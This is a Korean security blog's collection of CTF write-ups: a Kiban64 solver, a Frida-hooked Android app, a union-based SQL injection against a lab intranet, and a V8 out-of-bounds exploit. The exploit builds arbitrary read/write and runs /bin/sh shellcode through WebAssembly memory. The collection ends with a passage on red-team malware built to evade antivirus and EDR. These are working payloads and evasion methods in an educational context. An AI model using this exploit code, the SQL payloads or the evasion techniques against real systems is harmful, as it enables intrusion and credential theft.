writeup 링크

www.notion.so/g0pher/Power-Of-XX-2020-Kiban64-writeup-27110c7354e147faaa23f7afd70cd269

 

POC

let strings = "ABCDEFGHIJKLMNOPQRSTUVWXTZabcdefghiklmnopqrstuvwxyz";
strings += "0123456789_-$^{}";
let table = {};

function get_table() {
    /*
     * 조작된 인코딩 테이블을 구하는 함수.
     */
    var text = '';
    for (var i=0; i < 1000; i ++) {
        text += strings[Math.floor(Math.random() * strings.length)];
    }
    var b64text = btoa(text).replace(/\=/g, '');
    return new Promise(function(resolve) {
        fetch('/encode/'+text).then(r => r.json()).then(function(resp){
            if (resp.result.length == b64text.length) {
                resp.result.split('').forEach(function(c, i) {
                    table[c] = b64text[i];
                });
            }
            resolve(text);
        });
    });
}

function kiban2base() {
    /*
     * 조작된 인코딩 테이블을 기반으로
     * 패턴 데이터를 base64 인코딩 데이터로 변환하는 함수.
     */
    return new Promise(function(resolve) {
        fetch('/pattern').then(r=>r.json()).then(function(resp) {
            timeline = Object.keys(resp).sort();
            data = timeline.map(t => table[resp[t]]).join('');
            resolve(data);
        });
    });
}

get_table().then(kiban2base).then(atob).then(console.log);

'CTF' 카테고리의 다른 글

POX 2020 CTF - Kiban64  (0) 2020.11.25
POX 2020 CTF - Mobile Pentest Write Up  (0) 2020.11.23
Power of XX 2020 Write up  (0) 2020.11.21
DownUnderCTF - Is this pwn or web? write-up  (0) 2020.09.28

                목차

  • 시나리오
  • 정보 수집
  • 코드 분석
  • frida 풀이

 

[MISC] Mobile Pentest 시나리오
Mobile Pentest
시나리오: COVID 치료제 정보에 접근할 수 있는 암호 값이 내장된 애플리케이션을 받았다. 
하지만 바이러스가 애플리케이션까지 감염되어 암호 값을 확인할 수 없게 되었다. 암호 값을 확인하자!

Scenario: An application including password values to access information for COVID treantment was received.
However, the password values cannot be verified due to the virus that has infected the application.
Let's find the password values!

[그림 1] mobilepentest.apk

시나리오와 함께 문제 파일이 주어지는데 받아서 녹스(Nox)로 실행하면 [그림 1]과 같이 mobilepentest.apk 파일이 설치된다.

 

시나리오 내용에서 먼저 얻을 수 있는 정보로는 암호 값이 내장된 앱이며 해당 암호 값을 확인해야 한다는 것이다.

그러면 직접 apk 실행을 통해 추가적인 정보를 수집하자

 

 

정보 수집

[그림 2] 실행 화면

앱을 실행하면 "COVID 치료제 정보 확인"이라는 버튼 하나가 있는 것을 볼 수 있다.

 

 

[그림 3] medicine?

버튼을 누르면 메시지 박스창이 나오는데 제목은 코로나 치료제를 알고 있는지와 해당 치료제는 어디 있는지 묻는 내용이 포함되어 있다.

 

 

[그림 4] 체크 버튼 후

CHECK 버튼을 누르면 "check ok :)"라는 Toast.makeText 메시지가 출력된다.

 

"COVID 치료제 정보 확인" 버튼을 눌렀을 때 다른 반응이 나오게 하거나 앱 자체 내에 flag 값이 숨어 있을 것으로 보인다. 이유는 시나리오에서 언급한 것과 앱 실행 화면에서는 다른 단서를 찾을 수 없기 때문에 apk 파일을 직접 뜯어야 한다.

 

코드 분석

 

jadx-gui 도구를 이용하여 apk 내부 소스코드를 확인할 수 있다. 또는 웹에서 제공하는 디컴파일을 이용하는 방법도 있다.

 

package com.example.mobilepentest;

import android.app.AlertDialog;
import android.content.DialogInterface;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.Toast;
import androidx.appcompat.app.AppCompatActivity;
import java.io.InputStream;

// 1번 영역====================================================
public class MainActivity extends AppCompatActivity {
    static int input1 = 2;
    static int input2 = 2;
    static int input3 = 2;
    static int input4 = 2;
    String cryptotext = "";
    String flag = "where is medicine?";
    String flag0 = "";
    String flag1 = "";
    String flag2 = "";
    String flag3 = "";
    String flag4 = "";
    String flag5 = "";
    String title1 = "Do you know COVID medicine?";
    
// 1번 영역====================================================

// 2번 영역====================================================

    public void medicine() {
        try {
            InputStream openRawResource = getResources().openRawResource(R.raw.flag);
            byte[] bArr = new byte[openRawResource.available()];
            openRawResource.read(bArr);
            this.flag0 = new String(bArr);
        } catch (Exception unused) {
            this.flag = "fail";
        }
        this.title1 = "COVID medicine data";
        String str = this.flag0;
        this.cryptotext = str;
        this.flag1 = str.substring(15, 16);
        this.flag1 += this.cryptotext.substring(14, 15);
        this.flag1 += this.cryptotext.substring(23, 24);
        this.flag1 += this.cryptotext.substring(69, 70);
        if (input1 == 2) {
            this.flag2 = this.cryptotext.substring(38, 39);
            this.flag2 += this.cryptotext.substring(71, 72);
            this.flag2 += this.cryptotext.substring(27, 28);
            this.flag2 += this.cryptotext.substring(34, 35);
            this.flag2 += this.cryptotext.substring(72, 73);
            this.flag2 += this.cryptotext.substring(30, 31);
            this.flag2 += this.cryptotext.substring(52, 53);
        } else {
            this.flag2 = this.cryptotext.substring(5, 6);
            this.flag2 += this.cryptotext.substring(0, 1);
            this.flag2 += this.cryptotext.substring(10, 11);
            this.flag2 += this.cryptotext.substring(4, 5);
            this.flag2 += this.cryptotext.substring(52, 53);
        }
        if (input2 == 0) {
            this.flag3 = this.cryptotext.substring(75, 76);
            this.flag3 += this.cryptotext.substring(39, 40);
            this.flag3 += this.cryptotext.substring(29, 30);
            this.flag3 += this.cryptotext.substring(52, 53);
        } else {
            this.flag3 = this.cryptotext.substring(5, 6);
            this.flag3 += this.cryptotext.substring(0, 1);
            this.flag3 += this.cryptotext.substring(10, 11);
            this.flag3 += this.cryptotext.substring(4, 5);
            this.flag3 += this.cryptotext.substring(52, 53);
        }
        if (input3 == 2) {
            this.flag4 = this.cryptotext.substring(31, 32);
            this.flag4 += this.cryptotext.substring(43, 44);
            this.flag4 += this.cryptotext.substring(72, 73);
            this.flag4 += this.cryptotext.substring(29, 30);
            this.flag4 += this.cryptotext.substring(75, 76);
            this.flag4 += this.cryptotext.substring(52, 53);
        } else {
            this.flag4 = this.cryptotext.substring(5, 6);
            this.flag4 += this.cryptotext.substring(0, 1);
            this.flag4 += this.cryptotext.substring(10, 11);
            this.flag4 += this.cryptotext.substring(4, 5);
            this.flag4 += this.cryptotext.substring(52, 53);
        }
        if (input4 == 0) {
            this.flag5 = this.cryptotext.substring(32, 33);
            this.flag5 += this.cryptotext.substring(71, 72);
            this.flag5 += this.cryptotext.substring(76, 77);
            this.flag5 += this.cryptotext.substring(46, 47);
            this.flag5 += this.cryptotext.substring(70, 71);
        } else {
            this.flag5 = this.cryptotext.substring(5, 6);
            this.flag5 += this.cryptotext.substring(0, 1);
            this.flag5 += this.cryptotext.substring(10, 11);
            this.flag5 += this.cryptotext.substring(4, 5);
            this.flag5 += this.cryptotext.substring(70, 71);
        }
        this.flag = this.flag1 + this.flag2 + this.flag3 + this.flag4 + this.flag5;
    }
    
// 2번 영역====================================================

// 3번 영역====================================================

    public void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        setContentView((int) R.layout.activity_main);
        ((Button) findViewById(R.id.button1)).setOnClickListener(new View.OnClickListener() {
            public void onClick(View view) {
                AlertDialog.Builder builder = new AlertDialog.Builder(MainActivity.this);
                builder.setTitle(MainActivity.this.title1);
                builder.setMessage(MainActivity.this.flag);
                builder.setPositiveButton("check", new DialogInterface.OnClickListener() {
                    public void onClick(DialogInterface dialogInterface, int i) {
                        Toast.makeText(MainActivity.this, "check ok :)", 0).show();
                    }
                });
                builder.show();
            }
        });
    }
}

// 3번 영역====================================================

이해를 돕기 위해 코드에 "1번, 2번, 3번 영역" 주석으로 코드 범위를 지정하였다.

 

 

[1번 영역]

// 1번 영역====================================================
public class MainActivity extends AppCompatActivity {
    static int input1 = 2;
    static int input2 = 2;
    static int input3 = 2;
    static int input4 = 2;
    String cryptotext = "";
    String flag = "where is medicine?";
    String flag0 = "";
    String flag1 = "";
    String flag2 = "";
    String flag3 = "";
    String flag4 = "";
    String flag5 = "";
    String title1 = "Do you know COVID medicine?";
    
// 1번 영역====================================================

전역 변수로 input1,2,3,4 와 cryptotext 그리고 우리가 찾으려는 flag로 보이는 flag 변수와 아까 앱에서 실행해서 확인한 문자열을 담고 있는 title1 변수가 있다.

 

 

[2번 영역]

// 2번 영역====================================================

    public void medicine() {
        try {
            InputStream openRawResource = getResources().openRawResource(R.raw.flag);
            byte[] bArr = new byte[openRawResource.available()];
            openRawResource.read(bArr);
            this.flag0 = new String(bArr);
        } catch (Exception unused) {
            this.flag = "fail";
        }
        this.title1 = "COVID medicine data";
        String str = this.flag0;
        this.cryptotext = str;
        this.flag1 = str.substring(15, 16);
        this.flag1 += this.cryptotext.substring(14, 15);
        this.flag1 += this.cryptotext.substring(23, 24);
        this.flag1 += this.cryptotext.substring(69, 70);
        if (input1 == 2) {
            this.flag2 = this.cryptotext.substring(38, 39);
            this.flag2 += this.cryptotext.substring(71, 72);
            this.flag2 += this.cryptotext.substring(27, 28);
            this.flag2 += this.cryptotext.substring(34, 35);
            this.flag2 += this.cryptotext.substring(72, 73);
            this.flag2 += this.cryptotext.substring(30, 31);
            this.flag2 += this.cryptotext.substring(52, 53);
        } else {
            this.flag2 = this.cryptotext.substring(5, 6);
            this.flag2 += this.cryptotext.substring(0, 1);
            this.flag2 += this.cryptotext.substring(10, 11);
            this.flag2 += this.cryptotext.substring(4, 5);
            this.flag2 += this.cryptotext.substring(52, 53);
        }
        if (input2 == 0) {
            this.flag3 = this.cryptotext.substring(75, 76);
            this.flag3 += this.cryptotext.substring(39, 40);
            this.flag3 += this.cryptotext.substring(29, 30);
            this.flag3 += this.cryptotext.substring(52, 53);
        } else {
            this.flag3 = this.cryptotext.substring(5, 6);
            this.flag3 += this.cryptotext.substring(0, 1);
            this.flag3 += this.cryptotext.substring(10, 11);
            this.flag3 += this.cryptotext.substring(4, 5);
            this.flag3 += this.cryptotext.substring(52, 53);
        }
        if (input3 == 2) {
            this.flag4 = this.cryptotext.substring(31, 32);
            this.flag4 += this.cryptotext.substring(43, 44);
            this.flag4 += this.cryptotext.substring(72, 73);
            this.flag4 += this.cryptotext.substring(29, 30);
            this.flag4 += this.cryptotext.substring(75, 76);
            this.flag4 += this.cryptotext.substring(52, 53);
        } else {
            this.flag4 = this.cryptotext.substring(5, 6);
            this.flag4 += this.cryptotext.substring(0, 1);
            this.flag4 += this.cryptotext.substring(10, 11);
            this.flag4 += this.cryptotext.substring(4, 5);
            this.flag4 += this.cryptotext.substring(52, 53);
        }
        if (input4 == 0) {
            this.flag5 = this.cryptotext.substring(32, 33);
            this.flag5 += this.cryptotext.substring(71, 72);
            this.flag5 += this.cryptotext.substring(76, 77);
            this.flag5 += this.cryptotext.substring(46, 47);
            this.flag5 += this.cryptotext.substring(70, 71);
        } else {
            this.flag5 = this.cryptotext.substring(5, 6);
            this.flag5 += this.cryptotext.substring(0, 1);
            this.flag5 += this.cryptotext.substring(10, 11);
            this.flag5 += this.cryptotext.substring(4, 5);
            this.flag5 += this.cryptotext.substring(70, 71);
        }
        this.flag = this.flag1 + this.flag2 + this.flag3 + this.flag4 + this.flag5;
    }
    
// 2번 영역====================================================

medicine이라는 메서드가 정의되어 있는데 내용을 요약하자면 raw에 존재하는 flag를 가져와서 flag0 변수에 담은 뒤 다시 str 변수를 거쳐서 cryptotext 변수에 대입된다.

이후 flag 변수와 cryptotext 변수가 서로 치환 조건을 거쳐서 각 flag 변수에 들어가게 되고 최종적으로 flag는 flag1,2,3,4,5 변수 값을 합친 값이 된다.

 

여기서 중요한 점은 input1,2,3,4 변수에 각 비교하는 값이 맞는 경우와 틀린 경우 치환하는 값이 다르다는 것이다.

 

 

[3번 영역]

// 3번 영역====================================================

    public void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        setContentView((int) R.layout.activity_main);
        ((Button) findViewById(R.id.button1)).setOnClickListener(new View.OnClickListener() {
            public void onClick(View view) {
                AlertDialog.Builder builder = new AlertDialog.Builder(MainActivity.this);
                builder.setTitle(MainActivity.this.title1);
                builder.setMessage(MainActivity.this.flag);
                builder.setPositiveButton("check", new DialogInterface.OnClickListener() {
                    public void onClick(DialogInterface dialogInterface, int i) {
                        Toast.makeText(MainActivity.this, "check ok :)", 0).show();
                    }
                });
                builder.show();
            }
        });
    }
}

// 3번 영역====================================================

onCreate 메서드, 앱이 실행될 때 먼저 실행되는 부분이다. Android에서 main 영역으로 볼 수 있다.

내용을 보면 버튼을 눌렀을 때 Toast.makeText로 "check ok :)"가 출력 되도록 작성되어 있다.

해당 문자열은 [그림 4]에서 본 check ok :) 문자열인 것을 확인할 수 있다.

 

여기까지 봤을 때 풀이 방법은 3가지 정도로 볼 수 있다.

1. frida 풀이

2. flag 요청 값을 확인 후 치환 코드 적용

3. flag 요청 값을 확인 후 수동으로 확인

 

우선 문제 제작 의도는 frida를 사용할 줄 아는지 확인하기 위해서다. 그래서 해당 풀이에서는 1번 방법으로 진행한다.

2번과 3번 방법이 거의 비슷하기 때문에 간단하게 2, 3번에 대해 요약해서 설명한다.

 

flag 요청 값을 확인한다는 것이 무슨 말일까? flag는 [2번 영역] 코드 초반에 R.raw.flag로 flag를 불러오고 있다.

앱을 개발 해본 경험이 있으면 2, 3번 방법으로도 풀이가 가능하다. raw라는 폴더에 flag 관련 파일이 포함되어 있다는 것이므로 디컴파일에서 리소스를 거쳐서 raw 폴더를 찾아 flag 관련 파일에 무슨 내용인지 확인하면 된다.

그 내용을 불러와서 치환하고 있기 때문에 안에 내용이 무엇인지 알게 된다면 직접 치환 코드에 적용하거나 수동으로 확인하는 것도 가능하다.

 

그럼 어떻게 frida 풀이라는 것을 확인할 수 있을까?

시나리오 내용을 다시 보자. COVID 치료제 정보에 접근할 수 있는 암호 값이 내장된 애플리케이션이 감염되어 암호 값을 확인할 수 없다고 했다. [3번 영역] 코드를 보면 medicine 메서드를 따로 요청하여 이용하는 것을 볼 수 없다. 보통 메서드나 함수를 정의하면 해당 메서드나 함수를 사용한다는 부분이 메인에 포함되어야 한다. 즉, medicine 메서드는 정의만 되어 있을 뿐 사용되지 않는다.

 

버튼을 클릭할 때 where is medicine이라는 문자열이 계속 출력되었는데 [1번 영역]코드에서 flag(전역 변수)로 지정을 했기 때문이다. medicine 메서드를 실행하면 해당 flag 변수 값이 변동되어 출력된다.

 

그러므로 frida를 통해 medicine 메서드가 실행될 수 있도록 스크립트 코드를 작성하여 로드하면 된다.

[2번 영역] 코드를 보면 input1,2,3,4 변수에 각 비교하는 값이 맞는 경우로 맞춰야 하기 때문에 해당 변수 값 중 틀리게 설정되어 있는 값을 변경해야 한다.

 

전역 변수에서 input1,2,3,4 전부 2를 대입하고 있다.

비교하고 있는 값을 보면 input1 == 2 // input2 == 0 // input3 == 2 // input4 == 0 이다.

그러면 input2와 input4는 0을 대입해줘야 한다.

 

 

 

frida 풀이

frida 세팅을 하고 난 후 아래와 같이 로드할 JavaScript 코드를 작성한다.

 

//exploit.js
setImmediate(function(){
	Java.perform(function(){
		var input = Java.use("com.example.mobilepentest.MainActivity");
		input.input2.value = 0;
		input.input4.value = 0;
		Java.choose("com.example.mobilepentest.MainActivity", {
			onMatch : function(mobilepentest){
				mobilepentest.medicine();
			},
			onComplete : function(){
				console.log("\nflag find it!");
			}
		})
	})
})

코드 내용은 위에 코드 분석에서 언급한 내용들로 작성했다.

 

 

[그림 5] frida exploit.js load

frida를 이용하여 작성한 스크립트를 로드하고 조금 기다리면 flag find it! 문자열이 출력된다. 그리고 "COVID 치료제 정보 확인" 버튼을 클릭하면 [그림 5]와 같이 Do you know COVID medicine? 제목이 medicine 메서드 실행으로 인하여 COVID medicine data로 변경되었고, where is medicine? 문자열 또한 flag 값으로 변경된 상태로 출력된다.

'CTF' 카테고리의 다른 글

POX 2020 CTF - Kiban64  (0) 2020.11.25
POX 2020 CTF - Mobile Pentest Write Up  (0) 2020.11.23
Power of XX 2020 Write up  (0) 2020.11.21
DownUnderCTF - Is this pwn or web? write-up  (0) 2020.09.28

POX 2020 Write Up

문제 리스트


[Web] POX Intranet

문제 페이지에는 연구소 인트라넷 페이지가 구성되어 있다.
이 연구소 인트라넷 페이지에 제공되는 사내 클라우드에는 백신 제작에 중요한 단서가 되는 파일이 있는데,
해당 파일을 열람하기 위해서는 일반 직원의 권한이 아닌,
연구 직원의 권한이 있어야만 파일을 열람할 수 있도록 보안이 되어있다.
문제에서 요구하는 권한을 얻어서 파일을 열람할 수 있습니까?

The Challenge is laboratory Intranet Website
The lab is providing cloud services, Cloud services have important clues to produce the COVID-19 vaccine
You need the authority of the lab staff to access the file.
Can you obtain the authority required in the matter?

문제 페이지에 접속하면 다음과 같은 화면이 표시됩니다.

회원가입 후 로그인을 거쳐 메인 페이지로 접속하신 뒤 게시판(/board)로 접근하시면 다음과 같습니다.

해당 페이지 내 게시글을 읽게 되면 URL 요청으로 /read?idx=게시글ID 형식으로 요청을 하고,

아래와 같은 글 읽기 섹션이 표시됩니다.

여기서 발생하는 취약점은 Union Based SQL Injection 으로, /read?idx=게시글ID 형식으로 요청을 할 때

게시글ID 값에 Injection Query를 발생시키면 다른 데이터베이스, 테이블, 컬럼 및 행 조회가 가능합니다.

?idx=1%27%a0union%a0select%a01,2,3,4,table_name%a0from%a0information_schema.tables--%a0 

위 쿼리문을 입력 했을 시 데이터베이스 내 모든 테이블 정보의 결과를 반환합니다.

1'%a0union%a0select%a01,2,3,4,column_name%a0from%a0information_schema.columns--%a0

위 쿼리문을 입력 하였을 경우에는 테이블 내 컬럼 정보의 결과를 반환합니다.

해당 결과값에서 문제 풀이에 필요한 정보인

1%27%a0union%a0select%a01,2,3,concat(username,%a0auth_token),5%a0from%a0users--%a0

마지막으로, 위와 같이 쿼리를 조합 해주면 user테이블의 username과 auth_token 값을 알 수 있습니다.

765f615f635f635f695f6e5f65 이 값을 hex 디코딩 과정을 거치게 되면 v_a_c_c_i_n_e 이라는 값을

얻을 수 있습니다. 이제 해당 값을 통해 mypage 내 credential을 통해 계정에 관리자 인증을 합니다.

그럼 이전과 다르게, 내 정보의 credential 값이 admin 으로 변경됩니다. 이제 페이지 내 클라우드(/cloud)로

접속합니다.

클라우드 섹션에 접근하면 위 사진과 같이 aws bucket를 제공하는데, 이 bucket의 내부 저장소에 접근하여

특정 문서 파일을 다운로드 할 수 있습니다.

이제 다운로드 된 파일을 열어서 플래그를 찾아 획득합니다.

os 포맷을 해서 docx가 없는 관계상 ㅎㅎ.. 이렇게도 확인 가능합니다.

[MISC] Infected File

최근 코로나19에 따른 보안 위협의 이슈가 되고 있는데 연구소 직원이 메일 서비스를 이용하던 중, 피싱 메일의 첨부파일을 실행하여 악성 코드에 감염되었다.
해당 직원의 컴퓨터에는 코로나19 바이러스에 대한 중요한 연구 단서가 있었는데, 해당 파일이 암호화되면서 파일의 내용을 확인할 수 없게 되었는데..

암호화 되어버린 파일을 복구하여 파일의 내용을 읽을 수 있을까?

Nowadays, the world rising a issue what the cyber security threat by COVID-19.
One of the laboratory worker was using mail service.
She clicked on a phishing email that attached malicious code.
Her computer has been important evidence of research about COVID-19.
Unfortunately.. this file also encrypted then We can not open it.

Could you recover that encrypted file for us ?

우선 문제에서 제공된 파일을 다운로드 하면 암호화에 사용된 py파일과 암호화 처리 된 파일이 제공됩니다.

enc.py를 열어보면 다음과 같이 키 값에서 힌트(?) 를 얻을 수 있습니다.

그렇습니다. 키 값은 문제 풀이에 약간의 혼란을 주기 위해 origin key를 base64 인코딩 처리한 키 값입니다.

따라서 해당 키 값을 base64-decode 과정을 거쳐 주면 origin key를 얻을 수 있습니다.

http://enc.rubiya.kr (갓 루비야님)

암호화 된 모듈에 간단히 decode 해주는 로직만 만들어 주면 됩니다.

해당 코드를 실행하면 파일 암호화에 사용된 키 값을 얻을 수 있습니다.

암호화 된 파일을 풀려면 어떤 방식으로 암호화 되었는지 찾아야 하고, openssl 이라는 단서를 가지고

openssl 중 aes256 cbc 방식을 통해 파일 암호화를 풀어주면 됩니다.

openssl aes-256-cbc -d -in the_research_of_covid19.docx.encrypted -out flag.docx

암호화가 풀렸습니다. 파일을 열어 보면 플래그를 획득할 수 있습니다.

'CTF' 카테고리의 다른 글

POX 2020 CTF - Kiban64  (0) 2020.11.25
POX 2020 CTF - Mobile Pentest Write Up  (0) 2020.11.23
Power of XX 2020 Write up  (0) 2020.11.21
DownUnderCTF - Is this pwn or web? write-up  (0) 2020.09.28

DownUnderCTF - Is this pwn or web?

Tag

  • V8 engine exploit
  • OOB
  • pointer compression

Summary

  • diffing file analysis
  • addrof & fakeobj
  • exploit

diffing file analysis

디핑 파일은 부분별로 나눠서 보도록 하겠습니다.

1. array-slice.tq

diff --git a/src/builtins/array-slice.tq b/src/builtins/array-slice.tq
index 7b82f2bda3..4b9478f84e 100644
--- a/src/builtins/array-slice.tq
+++ b/src/builtins/array-slice.tq
@@ -101,7 +101,14 @@ macro HandleFastSlice(
         // to be copied out. Therefore, re-check the length before calling
         // the appropriate fast path. See regress-785804.js
         if (SmiAbove(start + count, a.length)) goto Bailout;
-        return ExtractFastJSArray(context, a, start, count);

+        // return ExtractFastJSArray(context, a, start, count);
+        // Instead of doing it the usual way, I've found out that returning it
+        // the following way gives us a 10x speedup!
+
+        const array: JSArray = ExtractFastJSArray(context, a, start, count);
+        const newLength: Smi = Cast<Smi>(count - start + SmiConstant(2))
+            otherwise Bailout;
+        array.ChangeLength(newLength);
+        return array;

일단 디핑파일을 적용했을때의 결과부터 말씀드리겠습니다. 위 부분으로 인하여 취약점이 발생합니다.

원래 slice함수에서 사용하던 처리방식을 주석처리하고, 자체적으로 slice함수를 처리하는 코드를 작성한 모습입니다. 자세하게 볼까요?

 

const array: JSArray = ExtractFastJSArray(context, a, start, count);
const newLength: Smi = Cast<Smi>(count - start + SmiConstant(2)) otherwise Bailout;
array.ChangeLength(newLength);
return array;

변수 countslice를 진행할 때 첫번째 인자와 두번째 인자의 거리입니다.

변수 start는 첫번째 인자의 값이고, SmiConstant(2)는 상수 "2"를 의미합니다.

예시는 아래와 같습니다.

 

juntae@ubuntu:~/ctf/downunder$ ./d8 
V8 version 8.7.9
d8> a = [1,2,3,4,5,6,7]
[1, 2, 3, 4, 5, 6, 7]
d8> a.slice(4,6)
[]

원래 a.slice(4,6)을 실행하면 5와 6이 반환되어야합니다. 하지만, 문제의 d8에서는 아무값도 반환하지 않습니다. 왜그럴까요?

 

이유는 a.slice(4,6)부분에서 count는 2, start는 4가 되기 때문입니다. 2 - 4 + 2 = 0이 되는 것이죠.

여기서 중요한 한가지는, countstart를 잘 조절하면 연산의 결과값을 -1등의 음수 값으로 만들 수 있다는 점 입니다. 이렇게 되면 v8에서는 배열의 길이를 0xfffffff..으로 인식하고, OOB를 트리거 할 수 있습니다.

 

2. JSobject

 extern class JSArray extends JSObject {
+  macro ChangeLength(newLength: Smi) {
+    this.length = newLength;
+  }
+  
   macro IsEmpty(): bool {
     return this.length == 0;
   }

간단합니다. JS에서 최상위 오브젝트인 JSObject를 상속하는 JSArray의 길이를 변경할 수 있는 메소드를 추가합니다. 이 메소트는 array-slice.tq에서 사용하게 됩니다.

 

addrof & fakeobj

일반적인 Browser exploit에서는 addroffakeobj함수를 만들어 aaraaw를 이끌어냅니다. 저는 다른 방식으로 exploit을 진행했는데, 그 방법을 소개하고자 합니다.

 

1. addrof

먼저, OOB가 발생함을 이용해 배열의 mapobject로 덮고 element에 object를 넣으므로써 원하는 오브젝트의 주소를 leak 할 수 있습니다.

 

2. fakeobj

fakeobj 없이 ArrayBufferbacking store포인터를 덮어 fakeobj함수를 만들지 않고도 aawaar을 만들 수 있습니다. 자세한 예시는 아래 exploit에 있습니다.

 

Exploit

var buf = new ArrayBuffer(8);
var f64buf = new Float64Array(buf);
var u64buf = new Uint32Array(buf);

function ftoi(val, size) {
    f64buf[0] = val;

    if(size == 32) {
        return BigInt(u64buf[0]);
    } 
    else if(size == 64) {
        return BigInt(u64buf[0]) + (BigInt(u64buf[1]) << 32n);
    }
}

function itof(val, size) {
    if(size == 32) {
        u64buf[0] = Number(val & 0xffffffffn);
    } 
    else if(size == 64) {
        u64buf[0] = Number(val & 0xffffffffn);
        u64buf[1] = Number(val >> 32n);
    }

    return f64buf[0];
}

var hex = function(x) {
   if (x < 0)
       return `-${hex(-x)}`;
   return `0x${x.toString(16)}`;
};

a = [1.1,2.2,3.3,4.4,5.5,6.6]
b = a.slice(4,5)
c = new BigUint64Array([
    0x1111111111111111n,
    0x2222222222222222n,
    0x3333333333333333n,
]);

var idx = 15
var base = BigInt(ftoi(b[idx + 8],64)) & 0xffffffff00000000n;
console.log("[*] Base address : " + hex(base))

objmap = base + 0x824394dn
bintmap = base + 0x8242665n

function addrof(obj) {
    b[idx + 3] = itof(objmap,64);
    c[0] = obj;
    b[idx + 3] = itof(bintmap,64);

    return base + (c[0] & 0xffffffffn);
}

var arb = new ArrayBuffer(0x100);
console.log("[*] ArayBuffer address : " + hex(addrof(arb)))

function aar(addr) {
    b[idx + 46] = itof((addr & 0xffffffffn) << 32n,64);
    b[idx + 47] = itof(addr >> 32n,64);

    let buf = new Float64Array(arb);

    return ftoi(buf[0],64);
}

function aaw(addr,value) {
    b[idx + 46] = itof((addr & 0xffffffffn) << 32n,64);
    b[idx + 47] = itof(addr >> 32n,64);

    if(typeof value == "number") {
        let buf = new Float64Array(arb);
        buf[0] = itof(value)
    }    

    else if(typeof value == "string") {
        let buf = new Uint8Array(arb);
        for(let i = 0; i < value.length; i++) {
            buf[i] = value[i].charCodeAt();
        }
    }    
}

let wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
let wasmModule = new WebAssembly.Module(wasmCode);
let wasmInstance = new WebAssembly.Instance(wasmModule);

let wasmFunction = wasmInstance.exports.main;

let rwx = aar(addrof(wasmInstance) + 0x67n);
console.log("[*] rwx : " + hex(rwx));

let shellcode = "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x48\x31\xc0\xb0\x3b\x99\x4d\x31\xd2\x0f\x05";

aaw(rwx,shellcode);

wasmFunction();

주의해야할 점은, pointer compression에 의하여 디버깅이 상대적으로 어렵고, PIE baseleak하듯이 pointerbase주소를 leak해야 한다는 점 입니다.

 

aawaar을 만든 후에는 WebAssembly를 생성(RWX 영역이 매핑됨)하여 rwx를 만든 후에 이를 쉘코드로 덮고, 실행시켜 쉘을 획득할 수 있습니다.

'CTF' 카테고리의 다른 글

POX 2020 CTF - Kiban64  (0) 2020.11.25
POX 2020 CTF - Mobile Pentest Write Up  (0) 2020.11.23
Power of XX 2020 Write up  (0) 2020.11.21
DownUnderCTF - Is this pwn or web? write-up  (0) 2020.09.28

시작하기에  앞서, Demon팀에서 진행한 프로젝트가 아니라 현재 근무중인 Horangi에서 진행중인 프로젝트 일부이다. 

같이 프로젝트를 수행하고 있는 팀원에게 고객사 이름을 말하지 않는 조건으로 글을 작성하는데 허락을 맡았으며, 안티바이러스 우회를 위해 진행한 짤막한 삽질을 공유하기 위해 포스팅하게 되었다.

 

나는 Horangi에서 Red Team, Penetration Testing 그리고 Cloud Infra Develop을 맡고 있다. 

 

최근 한 고객사로부터 침투 시나리오를 만들어 공격을 수행해달라고 요청받았다. 

COVID-19 상황으로 인해 사내에서 사용하는 여러 노트북을 받아왔다. 

내가 받은 노트북은 Mac 3EA, 팀원이 받은 노트북은 Windows 2EA이였다. 

 

사진 중 3대의 Mac은 내것이 아니다.. ㅠㅠ 

 

우리 팀 역시 COVID-19로 인해 재택근무를 진행중이기에 서로 원활한 소통을 하기 위해 C2서버를 제작하기로 결정하였다. 

프로젝트가 시작되기 1주일 전, Terraform을 이용하여 모든 인프라를 자동화 해두고 악성코드 제작에 들어갔다.

 

악성코드를 실행하게 되면, 사용자가 예상하지 못한 정보 노출이 발생할 수 있다. 이를 방지하기 위해 Windows는 물론이고 많은 Antivirus Vendor에서 탐지 프로그램을 제공한다. 

 

매일마다 끊임없이 해커와 개발자는 뚫고 막는 여정을 이어나간다.

 

오늘은 해커 관점에서 안티바이러스 우회에 대해 이야기를 해볼까 한다. 

 

나는 탐지를 대비해 며칠 간 여러 버전(x86)을 만들어두었다. 버전을 간단하게 설명하면 쉘코드를 2중 암호화 해둔 버전, 인라인 어셈으로 작성한 버전, PE에서 기본적으로 제공하는 섹션이 아닌 다른 섹션을 로드해서 사용하는 버전, 패커를 사용한 버전, Process Hollowing을 이용한 버전 등이다. 

 

모든 바이너리는 프로젝트 시작 전, Windows Defender, Avast에서 미 탐지 됨을 확인하였다.

 

고객사로부터 전달받은 하나의 Windows 디바이스는 내가 작성한 모든 버전이 원활하게 동작하였다.

하지만, AD접근이 가능한 디바이스의 경우 ‘Crowd Strike’가 설치되어 있어 너무 허무하게 탐지되어 버렸다. 잠시후, 고객사로부터 탐지가 되었다고 전달 받았다.

 

무조건 우회를 성공해야 원격으로 프로젝트 수행이 가능하기 때문에  여러가지 방식을 떠올려보았다. 현재 우리는 노트북을 물리적으로 소지하고 있지만, 물리적으로 비활성화를 시키는 것은 침투 시나리오에서 어긋나기 때문에 진행하지 않았다.

 

무력화시켜 무조건 나의 악성코드가 실행되게 하는 방법 역시 생각해보았지만, 고객이 요청한 사항 중 악성코드를 제외한 다른 프로그램의 설치는 자제해주길 바랬기에 디버거를 물리적으로 설치할 수도 없었다. 

(유료라서 내 호스트에 다운로드를 할 수도 없었다..)

 

한참을 고민하는 도중 팀원 한분께서 링크 하나를 던져주셨다. 

 

나는 이 내용을 다 읽진 않고, 아래의 부분에만 초점을 맞추었다.

